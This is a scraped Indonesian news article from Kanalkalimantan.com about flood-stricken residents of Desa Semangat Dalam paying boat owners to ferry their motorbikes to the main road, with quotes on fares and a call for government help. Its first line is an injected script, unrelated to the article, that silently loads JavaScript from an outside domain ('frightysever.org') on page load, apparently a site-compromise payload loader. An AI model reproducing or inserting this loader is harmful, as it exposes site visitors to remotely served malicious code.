(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN– Di tengah bencana banjir yang melanda Kalimantan Selatan (Kalsel) yang menyebabkan lumpuhnya transportasi kendaraan, jasa angkutan barang menggunakan perahu menjadi alternatif!
Di Handil Bakti, Kecamatan Alalak, Barito Kuala, salah satu kawasan terparah terdampak banjir adalah Desa Semangat Dalam. Ketinggian air saat saat ini masih mencapai pinggang orang dewasa.
Kondisi ini membuat kendaraan warga, baik sepeda motor maupun mobil, tidak bisa melintas di jalan raya. Sepeda motor dan mobil warga baru bisa digunakan saat keluar dari Desa Semangat Dalam yakni di jalan utama Trans Kalimantan.
Untuk mengangkut motor dari rumah menuju jalan Trans Kalimantan, warga Desa Semangat Dalam terpaksa harus menyewa kelotok ataupun jukung. Puluhan jukung dan kelotok pun berjejer di depan pintu masuk Desa Semangat Dalam.
Para pemilik jukung dan kelotok yang kebanyakan berasal dari Desa Terantang, ini sangat menyadari jasa angkutan kendaraan maupun barang-barang lain bisa menjadi mata pencaharian yang bagus di saat banjir.
Kepada Kanalkalimantan.com, Hamdani (37), salah satu pemilik jukung menuturkan, mereka sudah menyediakan jasa angkutan kendaraan dan barang sejak beberapa hari lalu.
“Kami berinisiatif semenjak banyak warga yang perlu angkutan untuk membawa barang-barangnya. Sebab, sangat tidak memungkinkan untuk membawa sepeda motor melintasi jalan di sini,” tuturnya.
Ia mengungkapkan, tarif yang dipatok untuk membawa sepeda motor bervariasi. “Kalau hanya di jalur utama, satu buah sepeda motor biayanya Rp 100 ribu, tapi kalau masuk wilayah perumahan tarifnya Rp 150 ribu,” katanya.
Mirna (29), salah satu warga pengguna jasa kelotok, membenarkan hal tersebut. Karena dalam kondisi seperti ini mau tidak mau memakai jasa mereka dari pada sepeda motornya rusak. “Sepeda motor saya tadi biayanya Rp 100 ribu, ditambah biaya Rp 10 ribu untuk setiap orang yang ikut dalam kelotok,” ucapnya.
Sementara itu, Muchlis(30), warga lain yang ditemui di depan pintu masuk Desa Semangat Dalam menuturkan, tarif yang dikenakan pemilik jukung ataupun kelotok cukup mahal. Namun, menurutnya, warga juga tak bisa berbuat apa-apa.
“Menggunakan jasa angkutan kelotok memang merupakan pilihan terbaik, dari pada sepeda motor mengalami rusak parah akibat terendam air. Kan biayanya bisa lebih mahal,” katanya.
Menurut Muchlis dalam hal ini, harusnya Pemerintah Kabupaten Barito Kuala bisa turut serta dalam meringankan beban warga.
“Kan Pemkab Batola bisa turun tangan langsung. Bisa saja mereka menyewa kelotok atau jukung selama satu hari penuh untuk angkutan warga. Pemkab yang bayar, jadi warga bisa mendapat angkutan gratis dan pemilik kelotok tetap mendapatkan pemasukan yang layak, sudah kita kena musibah banjir, ditambah lagi harus biaya seperti ini, apa tidak makin sakit lagi kitanya,” pungkasnya. (Kanalkalimantan.com/Tius)
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More
This website uses cookies.